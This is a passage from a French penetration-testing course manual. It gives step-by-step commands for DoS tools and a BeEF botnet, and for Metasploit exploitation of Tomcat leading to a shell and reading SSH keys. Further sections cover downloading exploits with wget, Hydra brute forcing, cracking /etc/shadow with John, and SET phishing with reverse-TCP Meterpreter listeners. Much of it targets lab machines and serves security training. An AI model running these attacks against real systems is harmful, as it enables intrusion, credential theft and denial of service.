Sur une base de Debian 9 : $ apt install apt-transport-https dirmngr gnupg ca-certificates $ apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 3FA7E0328081BFF6A14DA29AA6A19B38D3D831EF $ echo "deb https://download.mono-project.com/repo/debian stable-stretch main" | sudo tee /etc/apt/sources.list.d/mono-official-stable.list $ apt update $ apt install mono-devel git # Source : https://www.mono-project.com/download/stable/#download-lindebian

21/11/2019

# Installation du script $ git clone https://github.com/NewEraCracker/LOIC.git $ ./loic-net4.5.sh install

24 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement du script $ ./loic-net4.5.sh run

1.

Indiquez l'URL de la cible

2.

Ajuster les options au besoin

3.

Lancer le DoS

➢ SIEGE Outil utilisé par les pentesters pour établir des "stress tests" et tester ainsi la disponibilité d'une application ou d'un site web. # Lancement du script $ siege AdresseDuSiteWeb

7.4 Les botnets

RAPPEL : Une machine zombie, souvent infecté à l'origine par une ver ou cheval de Troie, est un ordinateur contrôlé à l'insu de son utilisateur par un cybercriminel, le plus souvent à des fins malveillantes. Il permet, par exemple, d'attaquer (surtout par DDos) d'autres machines en dissimulant sa véritable identité.

21/11/2019

7.4.1 Introduction

25 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

7.4.2 Création d'un réseau de machine zombie avec BeFF # Ajout de la persistance pour l'infection des cibles. # Pour cela ajouter "autorun: true" au fichier $ nano /usr/share/beef-xss/modules/persistence/confirm_close_tab/config.yaml

Pour terminer, à l'aide de BeFF, il faut générer un lien contaminé qu'il faudra partager avec de futures machines zombie qui procèderont à un Ddos de la cible indiquée dans le fichier de configuration.

21/11/2019

# Ajout de l'adresse de la cible à attaquer au fichier suivant $ nano /usr/share/beef-xss/modules/network/DOSer/config.yaml

26 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8. Attaques Serveur-Side 8.1 Les recherches de vulnérabilités 8.1.1 Liste des outils RAPPEL : Un serveur est un système fournissant des services à des utilisateurs : SMB, FTP, IIS, …

❖ Skipfish Ce programme permet de lister des fichiers / dossiers considérés comme "intéressant" et pouvant mener à des vulnérabilités.

21/11/2019

# Lancement du programme # l'option -o correspond au dossier du rapport généré par skipfish : ici /root/desktop/RapportSkipfish # L'option -S indique le dictionnaire utilisé (par défaut situé dans /usr/share/skipfish/dictionaries/) # Le dernier argument est l'adresse de l'hôte à scanner : ici http://www.alphorm.com $ skipfish -o /root/Desktop/RapportSkipfish -S /usr/share/skipfish/dictionaries/minimal.wl http://www.alphorm.com

27 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois le scan terminé, aller dans le dossier du rapport généré par skipfish et lancer le fichier index.html qui vous permettra peut-être de trouver des vulnérabilités.

❖ Dirbuster (Owasp) Tout omme skipfish, Dirbuster permet de lister des fichiers / dossiers considérés comme "intéressant" et pouvant mener à des vulnérabilités. # Lancement du programme $ dirbuster Il ne nous reste qu'à compléter l'URL de la cible, le chemin du dictionnaire listant les principaux répertoires à utiliser (les dictionnaires, par défaut, sont présents dans /usr/share/dirbuster/wordlists/) et au besoin les options complémentaires.

21/11/2019

Une fois le programme lancé, il n'y a plus qu'à observer les résultats.

28 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Webslayer Ce programme, utilisable sous Windows uniquement, permet lui aussi de lister des informations vulnérables : dossiers, fichiers, … Il utilise l'attaque fuzzing.

21/11/2019

Commençons par renseigner l'URL du site cible suivi de la commande FUZZ (exemple : https://www.alphorm.com/FUZZ). Nous attaquerons avec une attaque au dictionnaire (Payload type : Dictionary). Les dictionnaires par défaut sont situés à l'emplacement suivant : C:\Program Files\EdgeSecurity\WebSlayer-Beta\wordlist Pour notre exemple, nous choisissons "Html encoder" dans la partie "Encoding FUZZ"

29 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, le programme lancé, il ne nous reste qu'à regarder, si les informations trouvées sont intéressantes pour la suite de notre exploitation. ❖ Nmap # Récupérer le numéro de version des services présent sur la cible $ nmap -sV AdresseIPDeLaCible

ALLER PLUS LOIN : Allez sur le site www.exploit-db.com dans la barre de recherche et indiquer le nom et la version du service pour trouver un exploit à utiliser

Utiliser metasploit pour rechercher dans sa base de données un exploit correspondant au service trouvé

❖ Nessus

21/11/2019

Lorsque Nessus est installé sur votre machine, vous n'avez qu'à choisir la cible à scanner en y adaptant les options souhaitées, pour avoir un rapport détaillé des vulnérabilités présentes et bien plus encore (solutions, CVE, backdoor, …)

30 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8.2 L'exploitation des vulnérabilités INFO : Il est conseillé d'essayer d'exploiter la cible ayant le plus de valeur.

21/11/2019

# Lancement de la commande NMAP # L'option -sS permet la connexion avec la requête SYN uniquement (fermé par un RST) # L'option -sV analyse les bannières applicatives des programmes # L'option -O retourne la version de l'OS utilisée # L'option -n indique de ne pas réaliser de résolution DNS # L'option -f permet de by-passer quelques contrôles au sein de la machine cible (pare-feu) $ nmap -sS -sV -O -n -f AdresseIpDeLaCible

31 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, le service à attaquer trouver (ici tomcat), il ne nous reste plus quand lancer metasploit pour rechercher des vulnérabilités à exploiter (ici tomcat_mgr_deploy) en favorisant le "Rank" Excellent qui nous donnera le plus de droit.

# lance la commande pour utiliser l'exploit $ use exploit/multi/http/tomcat_mgr_deploy # affiche les options de l'exploit. L'option est obligatoire quand Required = Yes $ show options

# Nous renseignons les options obligatoires : l'adresse de la cible : RHOSTS et nous augmentons le nom de threads pour accélérer l'exploit : THREADS. $ set RHOSTS AdresseIPDeLaCible $ set THREADS NombreDeThreads # Une fois terminée, nous pouvons vérifier que les options ont bien les bonnes valeurs $ show options

21/11/2019

Pour notre cas, il nous faut connaitre les valeurs HttpPassword et HttpUsername pour aller plus loin. Pour cela, nous allons utiliser une autre vulnérabilité de la liste précédente : auxiliary/admin/http/tomcat_administration

32 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de l'exploit pour récupérer les informations $ exploit

Nous connaissons donc maintenant le HttpUsername (tomcat) et le HttpPassword (tomcat) du service. Revenons donc à notre vulnérabilité "use exploit/multi/http/tomcat_mgr_deploy" et complètons les options demandées. # Définition de l'option HttpPassword $ set HttpPassword tomcat # Définition de l'option HttpUsername $ set HttpUsername tomcat # Définition de l'option rhost $ set rhost AdresseIPDelaCible

21/11/2019

# Définition de l'option rport (valeur dans le résultat de la commande nmap) $ set rport NuméroDuPortUtiliséParLeService # Lancement de l'exploit qui nous permet d'ouvrir une session distante $ exploit

33 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour continuer notre exploitation, nous allons ouvrir un shell et rechercher des dossiers/fichiers "sensibles". # Lancement d'un shell sous metasploit (meterpreter > n'est pas à taper) $ meterpreter > shell # Connaitre l'utilisateur courant $ whoami # Affichez les clés autorisées par le service SSH $ cat /root/.ssh/authorized_keys

En possession de cette clé, nous allons "bruteforcer" l'accès à l'aide d'un exploit : https://www.exploit-db.com/exploits/5720 # Téléchargement de l'exploit $ wget https://www.exploit-db.com/download/5720

21/11/2019

# Renommage du fichier en script.py $ mv 5720 script.py # Téléchargements des RSA SSH 2048 x86 $ wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/binsploits/5622.tar.bz2

34 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Décompression du fichier.tar.bz2 $ tar xvf 5622.tar.bz2 # Récupérez la clé SSH (résultat de notre dernier exploit) de notre cible (partie surlignée uniquement)

# Génération du fichier.pub $ grep -lr CléSSHRécupérée CheminContenantLesFichiersRSA.pub

# Pour terminer, test de la connexion en SSH à notre cible avec la clé RSA (fichier sans le .pub) $ ssh -i Chemin/NomDeLaCléRSA root@AdresseIPDeLaCible

8.3 Le brute force 8.3.1 Introduction

21/11/2019

L'attaque par force brute est une méthode utilisée en cryptanalyse pour trouver un mot de passe ou une clé. Il s'agit de tester, une à une, toutes les combinaisons possibles. Cette méthode est, en général, considérée comme la plus simple concevable. Elle permet de casser tout mot de passe en un temps fini, indépendamment de la protection utilisée, mais le temps augmente avec la longueur du mot de passe. Cette méthode est souvent combinée avec l'attaque par dictionnaire et par table arc-en-ciel pour trouver le secret plus rapidement.

35 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

8.3.2 L'outil HYDRA Hydra est un outil développé par The Hacker's Choice [THC]. Il utilise des attaques brute-force ou dictionnaires sur différents protocoles. C'est un outil très puissant, très rapide et très utilisé. Il supporte le SSL et les méthodes : POST & GET. Attention aux faux positifs, il est important de toujours revérifier à la main.

Liste des protocoles supportés par HYDRA # Brute force sur notre cible via le protocole SSH # L'option -l permet de spécifier un ou une liste d'utilisateur (login) # L'option -x permet la génération de mot de passe pour le brute-forcing # Détail de la commande -x [NombreDeCaractèreMini]:[ NombreDeCaractèreMaxi] : a(contenant des # minuscules) A(MAJUSCULE) 1(Chiffre) %(caractères spéciaux) # L'option -V permet d'afficher à l'écran les mots de passe utilisés $ hydra -V -l NomDeLUtilisateur -x 1:9:aA1 AdresseIPDeLaCible ProtocoleABruteForcer NDLR : Ceci est un exemple et prendrait un temps important avant de trouver le mot de passe. Il est possible d'utiliser une liste de username et de password. Dans notre test nous allons créer deux fichier "username" et "password" contenant une liste aléatoire de login et mot de passe respective.

21/11/2019

Maintenant nous allons lancer l'outil HYDRA avec en paramètre ces deux fichiers.

36 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement d'hydra avec notre liste "username" et "password" sur le service FTP de notre cible # L'option -L attend le nom du fichier listant les logins à tester # L'option -P attend le nom du fichier listant les mots de passe à tester $ hydra -V -L FichierContenantLesLogins -P FichierContenantLesPasswords AdresseIPDeLaSource NomDuServiceAAttaquer

Une fois le couple login/password trouvé, il ne reste plus qu'à se connecter au service sur la cible

Continuons l'attaque par brute force, mais sur un formulaire web. Pour cela commençons, rendons-nous dans la partie "Brute Force" sur le site vulnérable à l'adresse suivante : http://AdresseIPDeLaCibleMetasploitable2/dvwa/ [ login / password par défaut : admin / password] Ouvrez un bloc note et notez les informations suivantes : L'intitulé de l'erreur

21/11/2019

Dans le code source de la page web, recherche le paragraphe "form" et copier le.

37 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

L'URL de la page

Pour continuer notre recherche d'information, nous allons utiliser le logiciel "burpsuite" que nous allons lancer via la commande burpsuite dans un terminal. Ne pas oublier d'activer le proxy du navigateur pour pouvoir intercepter les requêtes.

Dans le formulaire sur notre cible, indiquer le login / password de votre choix et valider. La requête est interceptée par burpsuite.

Nous allons compléter notre liste en récupérant les informations suivantes : La partie GET

L'adresse IP de notre cible

Le cookie

NDLR :

21/11/2019

Pour l'exemple, nous allons utiliser les mêmes fichiers "username" et "password" que précédemment.

38 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancement de la commande hydra $ hydra AdresseIPDeLaSource -V -L FichierContenantLesLogins -P FichierContenantLesPasswords http-get-form "CheminDuGET:username=^USER^&password=^PASS^&Login=Login:Fincorrect:H=cookie:PHPSESSID=NuméroDuCookie;security=high"

Une fois la commande terminée, on peut s'apercevoir que le mot de passe a été trouvé.

POUR DE VRAI : Cette partie n'a pas fonctionné pour moi, hydra m'indiquait qu'une trentaine de login/password étaient valides alors que le seul couple fonctionnant était admin/password. Je n'ai pas trouvé l'origine du problème. De plus si vous avez un souci quelconque, essayez de mettre la sécurité du site (DVWA Security) sur "LOW" et modifiez la dernière commande en conséquence (security=low)

ALLER PLUS LOIN : Il existe des options supplémentaires permettant d'échapper au protection anti brute-force.

8.4 Le cracking de mot de passe

Les mots de passe sont le principal mode d'authentification. L'outil de référence dans le domaine est John The Ripper, rapide et facilement configurable, il peut vous permettre, lors d'une bonne utilisation, un gain de temps important. John the ripper est un cracker de mots de passe en local disponible sous de nombreuses plateformes (Linux, Windows, Mac OS etc.) et capable de casser de nombreux chiffrements : DES, BSDI, MD5, SHA-256, SHA-512, bcrypt, LM Windows...

21/11/2019

8.4.1 Introduction

39 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour utiliser John the ripper, il suffit simplement de lui fournir un fichier contenant les hashes des mots de passe à tester et de le laisser travailler. Il est aussi possible de forcer John à utiliser une wordlist spécifique et de définir à quel format de hash il doit s’attaquer.

8.4.2 John The Ripper Nous allons commencer par attaquer le système Linux et plus particulièrement le fichier contenant les mots de passe système. # Création d'un dossier pour notre exemple $ mkdir /root/CrackageBaseLinux # Nous allons copier les fichiers contenant les informations d'authentification de notre système KALI $ cp /etc/passwd /root/CrackageBaseLinux $ cp /etc/shadow /root/CrackageBaseLinux # Fusion des deux fichiers en un seul avec la commande "unshadow" $ unshadow /root/CrackageBaseLinux/passwd /root/CrackageBaseLinux/shadow > /root/CrackageBaseLinux/passwords # Lancement du cracking de notre fichier "passwords" $ john passwords

NDLR :

Intéressons-nous maintenant au cracking de hash de type LM. Pour cela, rendez-vous sur le site : https://www.tobtu.com/lmntlm.php où nous allons générer des mots de passes et leurs hashes (ici il n'y a que LM Hashes qui nous intéresse) que nous allons stockés dans un deuxième temps dans un fichier sur notre machine KALI.

21/11/2019

Un appui sur la touche "ENTREE" permet d'afficher des informations sur l'avancement de cracking

40 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# copie des hashes LM dans le fichier "LM" $ nano lm

# Affiche la liste des HASH utilisable avec John $ john --list=formats

# Cracking de nos hashes contenus dans notre fichier "LM" $ john –format=LM NotreFichierContenantNosHashesLM

Un appui sur la touche "ENTREE" permet d'afficher des informations sur l'avancement de cracking La commande john –show NomDuFichierContenantLesHashLM permet de visualiser de nouveau les résultats obtenus

21/11/2019

NDLR :

41 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLER PLUS LOIN : Il est possible de faire la même chose mais avec comme référence une wordlist. $ john --wordlist=NomDeLaWordlist NomDuFichierContenantLesHashesLM

9. Attaques Client-Side 9.1 Le Social Engineering Toolkit [SET] : mode avancé RAPPEL : Pour lancer l'outil SET, rendez-vous dans le menu Kali -> 08 – Outils Exploitation -> social engineering toolkit.

NDLR : Pensez à mettre à jour SET (4 - Update the Social-Engineer Toolkit) pour bénéficier des dernières optimisations. Pour nos prochains exemples, les lignes surlignées correspondent aux choix effectués Nous allons nous intéresser maintenant au menu : 2) Website Attack Vectors Cette partie est divisée en plusieurs sous-menus : Java Applet Attack Method La méthode Java Applet Attack usurpe un certificat Java et délivre un payload basé sur metasploit. # Choix du type de site à utiliser (Utiliser un modèle / Cloner un site / Importer)

# Utilisez vous un NAT / Port Forwarding

21/11/2019

# Indiquez l'adresse IP de votre poste attaquant (KALI)

# Génération d'un certificat de façon automatique

42 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lorsqu'un POST est lancé pour la récupération d'information, vous aurez besoin d'un site pour le rediriger. Nous choisissons ici, Google, qui est l'option la plus rapide.

# Choisissez le payload que vous voulez générer

# Modifiez le port d'écoute au besoin. Ici, nous conserverons celui par défaut (443)

# Sélectionnez la méthode pour délivrer l'injection de Shellcode

Maintenant démarrons metasploit (commande msfconsole) et lancons notre exploit. # Chargement de l'exploit exploit/multi/handler $ use exploit/multi/handler # Choix du payload "reverse_tcp" $ set PAYLOAD windows/meterpreter/reverse_tcp # Indiquez l'adresse de notre attaquant KALI (où notre SET est en écoute) $ set LHOST AdresseIPDeLAttaquantKALI # Indiquez le numéro de port utilisé $ set LPORT 443

# désactivez l'option " ExitOnSession". De cette façon, vous serez toujours en mode d'écoute même si la connexion entre l'attaquant et la cible est fermée $ set ExitOnSession false # Lancement de l'exploit $ exploit -j

21/11/2019

# Désactivez l'option "EnableStageEncoding" (Utiliser un contexte transitoire lors de l'encodage des payloads) $ set EnableStageEncoding false

43 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous pouvons maintenant essayer de nous connecter à partir d'un poste client sur l'adresse http://AdresseIpDeLAttaquantKALI pour visualiser la page modèle de "Google' et ainsi vérifier que notre exploit a été un succès.

Metasploit Browser Exploit Method La méthode Metasploit Browser Exploit utilise des exploits de navigateur Metasploit sélectionnés à travers un iframe et délivre un payload Metasploit. Pour aller plus vite, voici la liste des commandes à utiliser : # Nous choisissons cette fois ci la méthode d'attaque : Metasploit Browser Exploit Method 2) Metasploit Browser Exploit Method # Nous choisissons de passer par un modèle de site Web 1) Web Templates # Utilisez vous un NAT Are you using NAT/Port Forword : NO # Indiquez l'adresse IP de l'attaquant IP address or hostname for the reverse connection : AdresseIPDeLAttaquantKALI # Choisissez un modèle de site à cloner 3. Twitter # Tests avec tous les exploits possibles 46) Metasploit Browser Autopwn (USE AT OWN RISK!)

21/11/2019

# Choisissiez le payload à utiliser 2) Windows Reverse_TCP Meterpreter # Choisissiez le port à utiliser, ici on restera sur le port par défaut Port to use for the reverse [443] : 443

44 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Lancez metasploit dans un autre terminal $ msfconsole # Voici la sucession de commande à valider pour lancer les exploits use auxiliary/server/browser_autopwn set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.184.129 set LPORT 443 set URIPATH / set SRVPORT 8080 set ExitOnSession false exploit -j

A partir de ce moment, l'adresse d'attaque à communiquer à la cible va s'affichée :

NDLR :

21/11/2019

Il est possible de savoir si une session a été activée pendant l'exécution des exploits avec la commande : sessions

45 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Credential Harvester Attack Method La méthode Credential Harvester utilise le clonage d'un site Web ayant un champ nom d'utilisateur et mot de passe et recueillera toutes les informations affichées sur le site. Tabnabbing Attack Method La méthode TabNabbing attendra qu'un utilisateur se déplace vers un autre onglet, puis rafraîchira la page vers quelque chose de différent. Web Jacking Attack Method Cette méthode utilise les remplacements d'iframe pour rendre le lien URL en surbrillance légitime, mais lorsqu'on clique sur une fenêtre, celle-ci apparaît et est remplacée par le lien malveillant. Vous pouvez modifier les paramètres de remplacement de lien dans set_config si cela est trop lent ou trop rapide. Multi-Attack Web Method La méthode Multi-Attack permet d'ajouter une combinaison d'attaques via le menu d'attaque Web. Par exemple, vous pouvez utiliser l'applet Java, Metasploit Browser, Credential Harvester/Tabnabbing tout à la fois pour voir lequel réussi. # Choix du type de site à utiliser (Cloner un site)

NDLR : Il n'est pas possible d'utiliser l'option "Web Templates" avec la méthode "Multi-Attack Web".

# Utilisez-vous un NAT / Port Forwarding

# Indiquez l'adresse IP de votre poste attaquant (KALI)

21/11/2019

# Indiquez l'adresse du site à cloner

46 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Sélectionnez le type d'attaque à utiliser, ici nous choisirons l'option 6 qui nous permettra de les utiliser toutes

# Sélectionner le type de connexion que vous souhaitez utiliser

# Modifier le port d'écoute au besoin. Ici, nous conserverons celui par défaut (443)

# Sélectionner le payload que vous souhaitez livré par injection de shellcode

# Génération d'un certificat de façon automatique

# Choix de l'exploit exécuté coté navigateur, ici nous choisirons de l'autopwn (tous les exploits)

21/11/2019

# Lancer metasploit dans un autre terminal $ msfconsole

47 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Voici la sucession de commande à valider pour lancer les exploits use auxiliary/server/browser_autopwn set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.184.129 set LPORT 443 set URIPATH / set SRVPORT 8080 set ExitOnSession false exploit -j

A partir de ce moment, l'adresse d'attaque à communiquer à la cible va s'affichée :

Full Screen Attack Method Permet de récupérer les informations de la cible en exploitant des failles XSS HTA Attack Method

21/11/2019

La méthode HTA Attack vous permettra de cloner un site et d'effectuer l'injection de powershell à travers des fichiers HTA qui peuvent être utilisés pour l'exploitation de powershell sous Windows via le navigateur.

48 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous pouvons revenir au menu principal qui est coupé comme suit :

Spear-Phishing Attack Vectors La méthode du phishing est une attaque d'usurpation d'adresse électronique qui cible une organisation ou une personne en particulier, cherchant à accéder sans autorisation à des renseignements de nature délicate. Website Attack Vectors Cette méthode permet d'injecter des exploits à travers un navigateur. Elle est souvent mise en place au travers de sites clonés et modifiés Infectious Media Generator Cette attaque va nous permettre de créer un fichier autorun.inf et un payload. Lorsque le support amovible (clé USB / CD / DVD) sera inséré, cela lancera automatiquement le payload. # Nous pouvons choisir un format spécifique ou un exécutable directement généré par metasploit

Exemple d'injection :

21/11/2019

# Choisissiez l'adresse IP de l'hôte

49 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissiez le port à utiliser

La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra "donner" à la victime

ALLER PLUS LOIN : Si vous le souhaitez, vous pouvez lancer metasploit en mode écoute après la commande qui à générer notre payload.

Create a Payload and Listerner A l'aide de ce menu, nous allons créer un payload que nous pourrons distribuer à notre cible.

21/11/2019

Exemple d'injection :

# Choisissiez l'adresse IP de l'hôte

50 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissiez le port à utiliser

La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra "donner" à la victime

Mass Mailer Attack Attaque permettant l'envoi massif de mail vers une ou plusieurs adresses mails. Arduino-Based Attack Vector L'attaque "Arduino-Based" utilise le dispositif Arduino pour programmer l'appareil. Vous pouvez utiliser les Teensyt qui ont un stockage embarqué et peuvent permettre l'exécution de code à distance sur système physique. Comme les périphériques sont enregistrés comme clavier USB, il contournera toute protection d'exécution automatique désactivée sur le système. Wireless Access Point Attack Vector Une méthode d'attaque qui permet de répliquer un réseau sans fil. Lorsqu'une cible le rejoint, il dirige son navigateur vers un site malveillant. Cette fonctionnalité utilise une combinaison d'outils qui incluent AirBase-ng et DNS Spoof. QRCode Generator Attack Vector Le vecteur d'attaque QRCode créera un QRCode pour vous avec une URL malveillante qu'il ne restera plus qu'à diffuser. Powershell Attack Vectors Génération d'attaque au niveau de powershell Exemple d'injection :

21/11/2019

# Choisissiez l'adresse IP de l'hôte

51 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissiez le port à utiliser

La commande permet de créer le programme qui est exporté à l'adresse indiquée et qu'il faudra "donner" à la victime

ALLER PLUS LOIN : Si vous le souhaitez, vous pouvez lancer metasploit en mode écoute après la commande qui à générer notre payload.

Third Party Modules Méthode utilisant des modules tiers : Google Analytics ou encore ceux que vous avez crées

9.2 Le cracking de mot de passe utilisateurs 9.2.1 Introduction

INFO : La méthode la plus facile pour permettre la récupération du mot de passe est le Social Engineering.

21/11/2019

Par définition, le cracking de mot de passe est le fait de trouver les mots de passe à partir de données stockées ou transmises par un ordinateur. Un mot de passe est utilisé pour sécuriser différents types de systèmes (Linux, Windows ou encore des applications …). Notre objectif est de réduire le nombre de possibilités pour nous permettre de gagner du temps.

52 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.2.2 Les méthodes de cracking Il existe plusieurs méthodes pour découvrir un mot de passe : • • • •

Le deviner à l'aide du Social Engineering dont la technique du "Shoulder surfing" qui permet de regarder le mot de passe lorsque la cible le tape tout seulement sur son clavier. L'attaque par dictionnaire L'attaque par brute-force L'attaque hybride qui est un regroupement des 3 méthodes ci-dessus

9.2.3 Le stockage de mots de passe Les mots de passe sont stockés d’une façon cryptée. Le hashing est une fonction particulière qui, à partir d'une donnée fournie en entrée, calcule une empreinte numérique servant à identifier rapidement la donnée initiale, au même titre qu'une signature pour identifier une personne. Les fonctions de hachage sont utilisées en informatique et en cryptographie notamment pour reconnaître rapidement des fichiers ou des mots de passe.

9.2.4 Les Rainbow Tables Une rainbow table (littéralement table arc-en-ciel) est, en cryptanalyse, une structure de données créée en 2003 par Philippe Oechslin de l'EPFL permettant de retrouver un mot de passe à partir de son empreinte. Il s'agit d'une amélioration des compromis temps-mémoire proposés par Martin Hellman dans les années 1980.

La seule chose que l’on demande à cette fonction de réduction c’est d’être cohérente, c’est-à-dire de toujours retourner le même mot de passe quand on lui donne la même empreinte en paramètre.

21/11/2019

Les tables arc-en-ciel essayent de concilier taille de fichier et temps de calcul de façon raisonnable. On dit que l’on réduit l’empreinte.

53 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour stocker 100 millions de mots de passe il suffit donc, par exemple, de générer une Rainbow table contenant 100000 lignes avec des chaines de longueur 1000. On stocke donc dans un fichier de 2 Mo une table qui pèserait 2 Go dans le cas d’un simple dictionnaire. Les fonctions de réduction provoquent des collisions. Une collision survient quand la fonction de réduction retourne le même mot de passe pour deux empreintes différentes. Cela arrive forcément car il y a toujours plus d’empreintes possibles que de mots de passe possibles. Une attaque par Rainbow table se déroule en 2 étapes : ▪ ▪

Génération d'une table Calculer à partir d’une empreinte, un mot de passe.



À partir d'une empreinte ("9d4e1e23"), on calcule la dernière réduction utilisée dans la table et on regarde si le mot de passe apparaît dans la dernière colonne de la table (étape 1)



Si le test échoue ("swdv" n'apparaît pas dans la table), on passe au point 2 où l'on calcule une chaîne avec les deux dernières réductions (étape 2).

21/11/2019

On part d’un mot de passe → on calcule son empreinte → on calcule un nouveau mot de passe à partir de l’empreinte → on calcule l’empreinte de ce mot de passe → on répète l’opération un certain nombre de fois. Ensuite on stocke dans la table le mot de passe initial et l’empreinte finale.

54 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES •

Si ce test échoue à nouveau, on recommence avec 3 réductions, 4 réductions, etc. jusqu'à trouver une occurrence du mot de passe dans la table. Si aucune chaîne ne correspond alors l'attaque échoue.



Si le test réussit (ici "4457806c" apparaît en fin de chaîne et également dans la table), on récupère le mot de passe à l'origine de la chaîne qui a abouti à "4457806c ". Il s'agit ici de "aaaa" (étape3).



On génère la chaîne (étape 4) et on compare à chaque itération l'empreinte avec l'empreinte recherchée. Le test est concluant, on trouve ici l'empreinte "9d4e1e23" dans la chaîne. Le mot de passe courant ("xccd") est celui qui a engendré la chaîne : l'attaque a réussi.

ALLER PLUS LOIN : Pourquoi "table arc-en-ciel ? Nous savons maintenant qu'une empreinte est liée à un mot de passe par une réduction. L'association de toutes ces réductions nous donne un schéma qui peut être représenté sous forme d'arc-en-ciel.

L'efficacité des tables diminue de façon significative lorsque les fonctions de hachage sont combinées à un sel. Un sel est une valeur aléatoire qu'on ajoute au mot de passe avant de le hacher pour obtenir une empreinte. empreinte = h (mot_de_passe + sel)

Windows est le système d'exploitation le plus utilisé. Il est de plus en plus sécurisé, mais reste toujours vulnérable. Les mots de passe des comptes utilisateurs sont stockés dans un registre SAM (System Account Management). Il existe une exception lors de l'utilisation d'un active directory (BDD LDAP) stocké alors sous C:\Windows\system32\config. La base SAM utilise les formats de hachage LM & NTLM. Les fichiers ne peuvent pas être déplacés, ni copiés mais il est possible de les dumper.

21/11/2019

9.2.5 Mots de passe Windows

55 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.2.6 Mots de passe Linux Le crack des sessions utilisateur Linux est plus complexe que pour Windows. L'authentification est basée sur deux fichiers : /etc/passwd & /etc/shadow. La méthode de capture des mots de passe consiste à utiliser un boot loader, comme grub, pour les identifier et les cracker par la suite.

9.2.7 Les outils ❖ Johnny # Lancez l'outil "Johnny" dans un terminal $ johnny Une fois l'interface graphique lancée, nous allons ouvrir le fichier contenant les informationssur l'authentification des utilisateurs : /etc/shadow et voir apparaitre les utilisateurs et leurs hashes.

Nous allons procéder à l'attaque du mot de passe de l'utilisateur "testman". NDLR : L'utilisateur "testman" a été crée pour l'exemple via les commandes suivantes : # Création de l'utilisateur "testman" $ useradd testman # Création du mot de passe pour l'utilisateur "testman" $ passwd testman

21/11/2019

Pour commencer, nous nous rendons dans le menu "Options" puis "Wordlist". De là, nous indiquons l'emplacement de notre fichier "wordlist_crack.lst" crée pour l'occasion et contenant une liste de mot de passe aléatoire dont notre mot de passe.

56 Hamza KONDAH

Joan LE DÛ

HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Il ne nous reste plus qu'à "Débuter une nouvelle attaque" à l'aide du bouton et d'attendre le résultat en espérant qu'il soit dans notre wordlist.

❖ Hashcat L'outil hashcat permet de cracker différents types de hash. Nous allons utiliser un fichier d'exemple de hashcat (/usr/share/doc/hashcat-data/examples) pour notre démonstration. # Plaçons nous dans le dossier d'exemple $ cd /usr/share/doc/hashcat-data/examples # Décompression de l'archive contenant le dictionnaire $ gzip -d example.dict.gz

21/11/2019

